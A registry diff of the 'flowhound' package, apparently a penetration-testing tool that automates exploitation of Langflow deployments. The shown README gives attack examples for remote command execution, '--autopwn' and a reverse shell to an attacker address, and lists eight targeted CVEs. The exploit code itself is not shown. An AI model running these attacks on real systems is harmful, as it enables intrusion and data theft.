flowhound 1.0.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- flowhound-1.0.1/LICENSE +21 -0
- flowhound-1.0.1/MANIFEST.in +2 -0
- flowhound-1.0.1/PKG-INFO +193 -0
- flowhound-1.0.1/README.md +157 -0
- flowhound-1.0.1/flowhound/__init__.py +0 -0
- flowhound-1.0.1/flowhound/__main__.py +28 -0
- flowhound-1.0.1/flowhound/cli/__init__.py +0 -0
- flowhound-1.0.1/flowhound/cli/banner.py +45 -0
- flowhound-1.0.1/flowhound/cli/command.py +216 -0
- flowhound-1.0.1/flowhound/cli/message_format.py +52 -0
- flowhound-1.0.1/flowhound/cli/validators.py +39 -0
- flowhound-1.0.1/flowhound/tests/__init__.py +0 -0
- flowhound-1.0.1/flowhound/tests/test_base_exploit_class.py +124 -0
- flowhound-1.0.1/flowhound/tests/test_command.py +262 -0
- flowhound-1.0.1/flowhound/tests/test_cve.py +127 -0
- flowhound-1.0.1/flowhound/tests/test_database.py +84 -0
- flowhound-1.0.1/flowhound/tests/test_message_format.py +149 -0
- flowhound-1.0.1/flowhound/tests/test_payloads.py +89 -0
- flowhound-1.0.1/flowhound/tests/test_validators.py +106 -0
- flowhound-1.0.1/flowhound/tests/test_version_detection.py +125 -0
- flowhound-1.0.1/flowhound/vulnerabilities/__init__.py +0 -0
- flowhound-1.0.1/flowhound/vulnerabilities/cve/__init__.py +0 -0
- flowhound-1.0.1/flowhound/vulnerabilities/cve/cve.py +78 -0
- flowhound-1.0.1/flowhound/vulnerabilities/exploits/__init__.py +0 -0
- flowhound-1.0.1/flowhound/vulnerabilities/exploits/base_exploit_class.py +135 -0
- flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_0768.py +102 -0
- flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_10134.py +387 -0
- flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_18729.py +118 -0
- flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_19286.py +260 -0
- flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_19295.py +292 -0
- flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_5027.py +126 -0
- flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_7873.py +77 -0
- flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_9198.py +77 -0
- flowhound-1.0.1/flowhound/vulnerabilities/io/__init__.py +0 -0
- flowhound-1.0.1/flowhound/vulnerabilities/io/database.py +109 -0
- flowhound-1.0.1/flowhound/vulnerabilities/io/version_detection.py +87 -0
- flowhound-1.0.1/flowhound/vulnerabilities/payloads/__init__.py +14 -0
- flowhound-1.0.1/flowhound/vulnerabilities/payloads/base_payload_class.py +23 -0
- flowhound-1.0.1/flowhound/vulnerabilities/payloads/execute_bash_command.py +16 -0
- flowhound-1.0.1/flowhound/vulnerabilities/payloads/reverse_tcp_shell.py +21 -0
- flowhound-1.0.1/flowhound.egg-info/PKG-INFO +193 -0
- flowhound-1.0.1/flowhound.egg-info/SOURCES.txt +47 -0
- flowhound-1.0.1/flowhound.egg-info/dependency_links.txt +1 -0
- flowhound-1.0.1/flowhound.egg-info/entry_points.txt +2 -0
- flowhound-1.0.1/flowhound.egg-info/requires.txt +14 -0
- flowhound-1.0.1/flowhound.egg-info/top_level.txt +4 -0
- flowhound-1.0.1/pyproject.toml +58 -0
- flowhound-1.0.1/scripts/validate_architecture.py +86 -0
- flowhound-1.0.1/setup.cfg +4 -0
flowhound-1.0.1/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Richard Howe
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
flowhound-1.0.1/PKG-INFO
ADDED
|
@@ -0,0 +1,193 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: flowhound
|
|
3
|
+
Version: 1.0.1
|
|
4
|
+
Summary: Automated Langflow Exploitation Platform
|
|
5
|
+
Author-email: Richard Howe <richard.howe@ibm.com>
|
|
6
|
+
License: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/rmhowe425/FlowHound
|
|
8
|
+
Keywords: security,network
|
|
9
|
+
Classifier: Development Status :: 4 - Beta
|
|
10
|
+
Classifier: Intended Audience :: Developers
|
|
11
|
+
Classifier: Natural Language :: English
|
|
12
|
+
Classifier: Operating System :: OS Independent
|
|
13
|
+
Classifier: Programming Language :: Python
|
|
14
|
+
Classifier: Programming Language :: Python :: 3
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
19
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
20
|
+
Requires-Python: >=3.10
|
|
21
|
+
Description-Content-Type: text/markdown
|
|
22
|
+
License-File: LICENSE
|
|
23
|
+
Requires-Dist: requests==2.32.3
|
|
24
|
+
Requires-Dist: click==8.1.8
|
|
25
|
+
Provides-Extra: dev
|
|
26
|
+
Requires-Dist: pytest; extra == "dev"
|
|
27
|
+
Requires-Dist: pre-commit; extra == "dev"
|
|
28
|
+
Requires-Dist: ruff; extra == "dev"
|
|
29
|
+
Requires-Dist: vulture; extra == "dev"
|
|
30
|
+
Requires-Dist: codespell; extra == "dev"
|
|
31
|
+
Requires-Dist: pyright; extra == "dev"
|
|
32
|
+
Provides-Extra: docs
|
|
33
|
+
Requires-Dist: mkdocs>=1.6.1; extra == "docs"
|
|
34
|
+
Requires-Dist: mkdocs-material>=9.6.14; extra == "docs"
|
|
35
|
+
Dynamic: license-file
|
|
36
|
+
|
|
37
|
+
# FlowHound
|
|
38
|
+
|
|
39
|
+

|
|
40
|
+
|
|
41
|
+
Automated exploitation platform for scanning and testing insecure [Langflow](https://github.com/langflow-ai/langflow) deployments.
|
|
42
|
+
|
|
43
|
+
## Documentation
|
|
44
|
+
|
|
45
|
+
Full documentation is available at **[flowhound.readthedocs.io](https://flowhound.readthedocs.io/)**.
|
|
46
|
+
|
|
47
|
+
## Installation
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
pip install .
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
## Usage
|
|
54
|
+
|
|
55
|
+
FlowHound exposes two sub-commands: `attack` and `sniff`.
|
|
56
|
+
|
|
57
|
+
### `attack` — launch exploits against a target
|
|
58
|
+
|
|
59
|
+
```
|
|
60
|
+
flowhound attack --url <target-url> [OPTIONS]
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
| Option | Required | Description |
|
|
64
|
+
|---|---|---|
|
|
65
|
+
| `--url` | Yes | URL of the target Langflow instance (e.g. `http://localhost:7860`) |
|
|
66
|
+
| `--username` | No | Langflow username — must be paired with `--password` |
|
|
67
|
+
| `--password` | No | Langflow password — must be paired with `--username` |
|
|
68
|
+
| `--autopwn` | No | Run all matching exploits instead of stopping at the first success |
|
|
69
|
+
| `--proxy` | No | HTTP(s) proxy to route traffic through (e.g. `http://127.0.0.1:8080`) |
|
|
70
|
+
| `--command` | No | Shell command to execute on the target via the `execute_bash_command` payload |
|
|
71
|
+
| `--reverse_shell` | No | `LHOST:LPORT` for a reverse TCP shell payload (e.g. `192.168.1.10:4444`) |
|
|
72
|
+
| `-h`, `--help` | No | Show help message |
|
|
73
|
+
|
|
74
|
+
> `--command` and `--reverse_shell` are mutually exclusive. `--username` and `--password` must always be supplied together.
|
|
75
|
+
|
|
76
|
+
### `sniff` — detect version and list applicable CVEs
|
|
77
|
+
|
|
78
|
+
```
|
|
79
|
+
flowhound sniff --url <target-url> [--proxy <proxy-url>]
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
| Option | Required | Description |
|
|
83
|
+
|---|---|---|
|
|
84
|
+
| `--url` | Yes | URL of the target Langflow instance |
|
|
85
|
+
| `--proxy` | No | HTTP(s) proxy to route traffic through |
|
|
86
|
+
| `-h`, `--help` | No | Show help message |
|
|
87
|
+
|
|
88
|
+
### Examples
|
|
89
|
+
|
|
90
|
+
Unauthenticated attack (stops at first successful exploit):
|
|
91
|
+
```bash
|
|
92
|
+
flowhound attack --url http://target.example.com:7860
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
Authenticated attack (includes auth-required CVEs):
|
|
96
|
+
```bash
|
|
97
|
+
flowhound attack --url http://target.example.com:7860 --username admin --password secret
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
Run all matching exploits with a custom command payload:
|
|
101
|
+
```bash
|
|
102
|
+
flowhound attack --url http://target.example.com:7860 --autopwn --command "whoami"
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
Catch a reverse shell:
|
|
106
|
+
```bash
|
|
107
|
+
flowhound attack --url http://target.example.com:7860 --reverse_shell 192.168.1.10:4444
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
Route all traffic through a proxy:
|
|
111
|
+
```bash
|
|
112
|
+
flowhound attack --url http://target.example.com:7860 --proxy http://127.0.0.1:8080
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
Detect the target Langflow version and list applicable CVEs without launching any exploits:
|
|
116
|
+
```bash
|
|
117
|
+
flowhound sniff --url http://target.example.com:7860
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
## Architecture
|
|
121
|
+
|
|
122
|
+

|
|
123
|
+
|
|
124
|
+
## How it works
|
|
125
|
+
|
|
126
|
+
1. **Version detection** — queries `/api/v1/version` on the target to determine the running Langflow version.
|
|
127
|
+
2. **CVE lookup** — queries the bundled `vulnerabilities.json` database for CVE records whose affected version range covers the detected version. Authentication-required exploits are only included when credentials are supplied.
|
|
128
|
+
3. **Exploit dispatch** — dynamically loads each matching exploit module and executes it. Unauthenticated RCE exploits are prioritised. Each exploit is run with a 60-second timeout; timed-out exploits are skipped automatically.
|
|
129
|
+
4. **Payload injection** — when `--command` or `--reverse_shell` is specified the corresponding payload is injected into each exploit rather than the built-in default.
|
|
130
|
+
|
|
131
|
+
## CVE coverage
|
|
132
|
+
|
|
133
|
+
| CVE ID | CVSS | Auth Required | Affected Versions |
|
|
134
|
+
|---|---|---|---|
|
|
135
|
+
| CVE-2026-9198 | 10.0 | No | 1.0.0 – 1.10.0 |
|
|
136
|
+
| CVE-2026-0768 | 9.8 | No | 1.4.2 |
|
|
137
|
+
| CVE-2026-19295 | 9.9 | Yes | 1.0.0 – 1.11.1 |
|
|
138
|
+
| CVE-2026-19286 | 9.8 | Yes | 1.11.0 – 1.11.1 |
|
|
139
|
+
| CVE-2026-18729 | 8.8 | Yes | 1.0.0 – 1.11.1 |
|
|
140
|
+
| CVE-2026-5027 | 8.8 | Yes | 1.0.0 – 1.8.4 |
|
|
141
|
+
| CVE-2026-7873 | 8.8 | Yes | 1.0.0 – 1.10.0 |
|
|
142
|
+
| CVE-2026-10134 | 8.8 | Yes | 1.0.0 – 1.9.3 |
|
|
143
|
+
|
|
144
|
+
## Payloads
|
|
145
|
+
|
|
146
|
+
| Payload | CLI flag | Description |
|
|
147
|
+
|---|---|---|
|
|
148
|
+
| `execute_bash_command` | `--command "<cmd>"` | Runs an arbitrary shell command and exfiltrates stdout |
|
|
149
|
+
| `reverse_tcp_shell` | `--reverse_shell LHOST:LPORT` | Opens a reverse TCP shell back to the attacker (blocking) |
|
|
150
|
+
|
|
151
|
+
When no payload flag is given each exploit falls back to its built-in default (runs `id` and exfiltrates the result).
|
|
152
|
+
|
|
153
|
+
## Project structure
|
|
154
|
+
|
|
155
|
+
```
|
|
156
|
+
flowhound/
|
|
157
|
+
├── __main__.py # CLI entry point; registers attack and sniff commands
|
|
158
|
+
├── cli/
|
|
159
|
+
│ ├── command.py # attack and sniff Click command definitions
|
|
160
|
+
│ ├── validators.py # URL, proxy, and CVE input validators
|
|
161
|
+
│ ├── banner.py # ASCII-art banner
|
|
162
|
+
│ └── message_format.py # Coloured logging handler (ClickLogHandler)
|
|
163
|
+
└── vulnerabilities/
|
|
164
|
+
├── cve/cve.py # CVE data model; dynamically loads exploit modules
|
|
165
|
+
├── io/
|
|
166
|
+
│ ├── database.py # Reads vulnerabilities.json; filters by version & auth
|
|
167
|
+
│ ├── version_detection.py # Queries /api/v1/version; version string ↔ tuple helpers
|
|
168
|
+
│ └── vulnerabilities.json # Bundled CVE data store
|
|
169
|
+
├── exploits/
|
|
170
|
+
│ ├── base_exploit_class.py # Abstract base; auto_login / authenticate helpers
|
|
171
|
+
│ └── cve_2026_*.py # Individual exploit PoC modules
|
|
172
|
+
└── payloads/
|
|
173
|
+
├── base_payload_class.py # Abstract base; generate_payload / load_payload interface
|
|
174
|
+
├── execute_bash_command.py
|
|
175
|
+
└── reverse_tcp_shell.py
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
## Requirements
|
|
179
|
+
|
|
180
|
+
- Python 3.10+
|
|
181
|
+
- `requests >= 2.32.3`
|
|
182
|
+
- `click >= 8.1.8`
|
|
183
|
+
|
|
184
|
+
## Running tests
|
|
185
|
+
|
|
186
|
+
```bash
|
|
187
|
+
pip install pytest
|
|
188
|
+
pytest flowhound/tests/
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
## Disclaimer
|
|
192
|
+
|
|
193
|
+
FlowHound is intended for authorised security testing only. Do not run it against systems you do not own or have explicit written permission to test.
|
|
@@ -0,0 +1,157 @@
|
|
|
1
|
+
# FlowHound
|
|
2
|
+
|
|
3
|
+

|
|
4
|
+
|
|
5
|
+
Automated exploitation platform for scanning and testing insecure [Langflow](https://github.com/langflow-ai/langflow) deployments.
|
|
6
|
+
|
|
7
|
+
## Documentation
|
|
8
|
+
|
|
9
|
+
Full documentation is available at **[flowhound.readthedocs.io](https://flowhound.readthedocs.io/)**.
|
|
10
|
+
|
|
11
|
+
## Installation
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
pip install .
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
## Usage
|
|
18
|
+
|
|
19
|
+
FlowHound exposes two sub-commands: `attack` and `sniff`.
|
|
20
|
+
|
|
21
|
+
### `attack` — launch exploits against a target
|
|
22
|
+
|
|
23
|
+
```
|
|
24
|
+
flowhound attack --url <target-url> [OPTIONS]
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
| Option | Required | Description |
|
|
28
|
+
|---|---|---|
|
|
29
|
+
| `--url` | Yes | URL of the target Langflow instance (e.g. `http://localhost:7860`) |
|
|
30
|
+
| `--username` | No | Langflow username — must be paired with `--password` |
|
|
31
|
+
| `--password` | No | Langflow password — must be paired with `--username` |
|
|
32
|
+
| `--autopwn` | No | Run all matching exploits instead of stopping at the first success |
|
|
33
|
+
| `--proxy` | No | HTTP(s) proxy to route traffic through (e.g. `http://127.0.0.1:8080`) |
|
|
34
|
+
| `--command` | No | Shell command to execute on the target via the `execute_bash_command` payload |
|
|
35
|
+
| `--reverse_shell` | No | `LHOST:LPORT` for a reverse TCP shell payload (e.g. `192.168.1.10:4444`) |
|
|
36
|
+
| `-h`, `--help` | No | Show help message |
|
|
37
|
+
|
|
38
|
+
> `--command` and `--reverse_shell` are mutually exclusive. `--username` and `--password` must always be supplied together.
|
|
39
|
+
|
|
40
|
+
### `sniff` — detect version and list applicable CVEs
|
|
41
|
+
|
|
42
|
+
```
|
|
43
|
+
flowhound sniff --url <target-url> [--proxy <proxy-url>]
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
| Option | Required | Description |
|
|
47
|
+
|---|---|---|
|
|
48
|
+
| `--url` | Yes | URL of the target Langflow instance |
|
|
49
|
+
| `--proxy` | No | HTTP(s) proxy to route traffic through |
|
|
50
|
+
| `-h`, `--help` | No | Show help message |
|
|
51
|
+
|
|
52
|
+
### Examples
|
|
53
|
+
|
|
54
|
+
Unauthenticated attack (stops at first successful exploit):
|
|
55
|
+
```bash
|
|
56
|
+
flowhound attack --url http://target.example.com:7860
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
Authenticated attack (includes auth-required CVEs):
|
|
60
|
+
```bash
|
|
61
|
+
flowhound attack --url http://target.example.com:7860 --username admin --password secret
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
Run all matching exploits with a custom command payload:
|
|
65
|
+
```bash
|
|
66
|
+
flowhound attack --url http://target.example.com:7860 --autopwn --command "whoami"
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
Catch a reverse shell:
|
|
70
|
+
```bash
|
|
71
|
+
flowhound attack --url http://target.example.com:7860 --reverse_shell 192.168.1.10:4444
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
Route all traffic through a proxy:
|
|
75
|
+
```bash
|
|
76
|
+
flowhound attack --url http://target.example.com:7860 --proxy http://127.0.0.1:8080
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
Detect the target Langflow version and list applicable CVEs without launching any exploits:
|
|
80
|
+
```bash
|
|
81
|
+
flowhound sniff --url http://target.example.com:7860
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
## Architecture
|
|
85
|
+
|
|
86
|
+

|
|
87
|
+
|
|
88
|
+
## How it works
|
|
89
|
+
|
|
90
|
+
1. **Version detection** — queries `/api/v1/version` on the target to determine the running Langflow version.
|
|
91
|
+
2. **CVE lookup** — queries the bundled `vulnerabilities.json` database for CVE records whose affected version range covers the detected version. Authentication-required exploits are only included when credentials are supplied.
|
|
92
|
+
3. **Exploit dispatch** — dynamically loads each matching exploit module and executes it. Unauthenticated RCE exploits are prioritised. Each exploit is run with a 60-second timeout; timed-out exploits are skipped automatically.
|
|
93
|
+
4. **Payload injection** — when `--command` or `--reverse_shell` is specified the corresponding payload is injected into each exploit rather than the built-in default.
|
|
94
|
+
|
|
95
|
+
## CVE coverage
|
|
96
|
+
|
|
97
|
+
| CVE ID | CVSS | Auth Required | Affected Versions |
|
|
98
|
+
|---|---|---|---|
|
|
99
|
+
| CVE-2026-9198 | 10.0 | No | 1.0.0 – 1.10.0 |
|
|
100
|
+
| CVE-2026-0768 | 9.8 | No | 1.4.2 |
|
|
101
|
+
| CVE-2026-19295 | 9.9 | Yes | 1.0.0 – 1.11.1 |
|
|
102
|
+
| CVE-2026-19286 | 9.8 | Yes | 1.11.0 – 1.11.1 |
|
|
103
|
+
| CVE-2026-18729 | 8.8 | Yes | 1.0.0 – 1.11.1 |
|
|
104
|
+
| CVE-2026-5027 | 8.8 | Yes | 1.0.0 – 1.8.4 |
|
|
105
|
+
| CVE-2026-7873 | 8.8 | Yes | 1.0.0 – 1.10.0 |
|
|
106
|
+
| CVE-2026-10134 | 8.8 | Yes | 1.0.0 – 1.9.3 |
|
|
107
|
+
|
|
108
|
+
## Payloads
|
|
109
|
+
|
|
110
|
+
| Payload | CLI flag | Description |
|
|
111
|
+
|---|---|---|
|
|
112
|
+
| `execute_bash_command` | `--command "<cmd>"` | Runs an arbitrary shell command and exfiltrates stdout |
|
|
113
|
+
| `reverse_tcp_shell` | `--reverse_shell LHOST:LPORT` | Opens a reverse TCP shell back to the attacker (blocking) |
|
|
114
|
+
|
|
115
|
+
When no payload flag is given each exploit falls back to its built-in default (runs `id` and exfiltrates the result).
|
|
116
|
+
|
|
117
|
+
## Project structure
|
|
118
|
+
|
|
119
|
+
```
|
|
120
|
+
flowhound/
|
|
121
|
+
├── __main__.py # CLI entry point; registers attack and sniff commands
|
|
122
|
+
├── cli/
|
|
123
|
+
│ ├── command.py # attack and sniff Click command definitions
|
|
124
|
+
│ ├── validators.py # URL, proxy, and CVE input validators
|
|
125
|
+
│ ├── banner.py # ASCII-art banner
|
|
126
|
+
│ └── message_format.py # Coloured logging handler (ClickLogHandler)
|
|
127
|
+
└── vulnerabilities/
|
|
128
|
+
├── cve/cve.py # CVE data model; dynamically loads exploit modules
|
|
129
|
+
├── io/
|
|
130
|
+
│ ├── database.py # Reads vulnerabilities.json; filters by version & auth
|
|
131
|
+
│ ├── version_detection.py # Queries /api/v1/version; version string ↔ tuple helpers
|
|
132
|
+
│ └── vulnerabilities.json # Bundled CVE data store
|
|
133
|
+
├── exploits/
|
|
134
|
+
│ ├── base_exploit_class.py # Abstract base; auto_login / authenticate helpers
|
|
135
|
+
│ └── cve_2026_*.py # Individual exploit PoC modules
|
|
136
|
+
└── payloads/
|
|
137
|
+
├── base_payload_class.py # Abstract base; generate_payload / load_payload interface
|
|
138
|
+
├── execute_bash_command.py
|
|
139
|
+
└── reverse_tcp_shell.py
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
## Requirements
|
|
143
|
+
|
|
144
|
+
- Python 3.10+
|
|
145
|
+
- `requests >= 2.32.3`
|
|
146
|
+
- `click >= 8.1.8`
|
|
147
|
+
|
|
148
|
+
## Running tests
|
|
149
|
+
|
|
150
|
+
```bash
|
|
151
|
+
pip install pytest
|
|
152
|
+
pytest flowhound/tests/
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
## Disclaimer
|
|
156
|
+
|
|
157
|
+
FlowHound is intended for authorised security testing only. Do not run it against systems you do not own or have explicit written permission to test.
|
|
File without changes
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
import logging
|
|
2
|
+
|
|
3
|
+
import click
|
|
4
|
+
|
|
5
|
+
from flowhound.cli.command import attack, sniff
|
|
6
|
+
from flowhound.cli.message_format import ClickLogHandler
|
|
7
|
+
from flowhound.vulnerabilities.io.database import Database
|
|
8
|
+
|
|
9
|
+
_logger = logging.getLogger("flowhound")
|
|
10
|
+
_logger.setLevel(logging.INFO)
|
|
11
|
+
if not _logger.handlers:
|
|
12
|
+
_logger.addHandler(ClickLogHandler())
|
|
13
|
+
|
|
14
|
+
CONTEXT_SETTINGS = {"help_option_names": ["-h", "--help"]}
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
@click.group(context_settings=CONTEXT_SETTINGS)
|
|
18
|
+
@click.pass_context
|
|
19
|
+
def main(ctx: click.Context):
|
|
20
|
+
ctx.ensure_object(dict)
|
|
21
|
+
ctx.obj = Database()
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
main.add_command(attack)
|
|
25
|
+
main.add_command(sniff)
|
|
26
|
+
|
|
27
|
+
if __name__ == "__main__":
|
|
28
|
+
main()
|
|
File without changes
|
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
from flowhound.cli.message_format import output_banner
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
def banner():
|
|
5
|
+
output_banner("""
|
|
6
|
+
███████╗██╗ ██████╗ ██╗ ██╗ ██╗ ██╗ ██████╗ ██╗ ██╗███╗ ██╗██████╗
|
|
7
|
+
██╔════╝██║ ██╔═══██╗██║ ██║ ██║ ██║██╔═══██╗██║ ██║████╗ ██║██╔══██╗
|
|
8
|
+
█████╗ ██║ ██║ ██║██║ █╗ ██║ ███████║██║ ██║██║ ██║██╔██╗ ██║██║ ██║
|
|
9
|
+
██╔══╝ ██║ ██║ ██║██║███╗██║ ██╔══██║██║ ██║██║ ██║██║╚██╗██║██║ ██║
|
|
10
|
+
██║ ███████╗╚██████╔╝╚███╔███╔╝ ██║ ██║╚██████╔╝╚██████╔╝██║ ╚████║██████╔╝
|
|
11
|
+
╚═╝ ╚══════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝
|
|
12
|
+
|
|
13
|
+
Sniffing Insecure Langflow Deployments
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⣾⣿⣿⣶⣦⡀
|
|
17
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
|
|
18
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
|
|
19
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
|
|
20
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏
|
|
21
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
|
|
22
|
+
⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠏
|
|
23
|
+
⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠉
|
|
24
|
+
⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
|
|
25
|
+
⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
|
|
26
|
+
⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⢟⣥⣶⣶⣶⣄⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
|
|
27
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣏⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
|
|
28
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
|
|
29
|
+
⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
|
|
30
|
+
⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
|
|
31
|
+
⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁
|
|
32
|
+
⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁
|
|
33
|
+
⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉
|
|
34
|
+
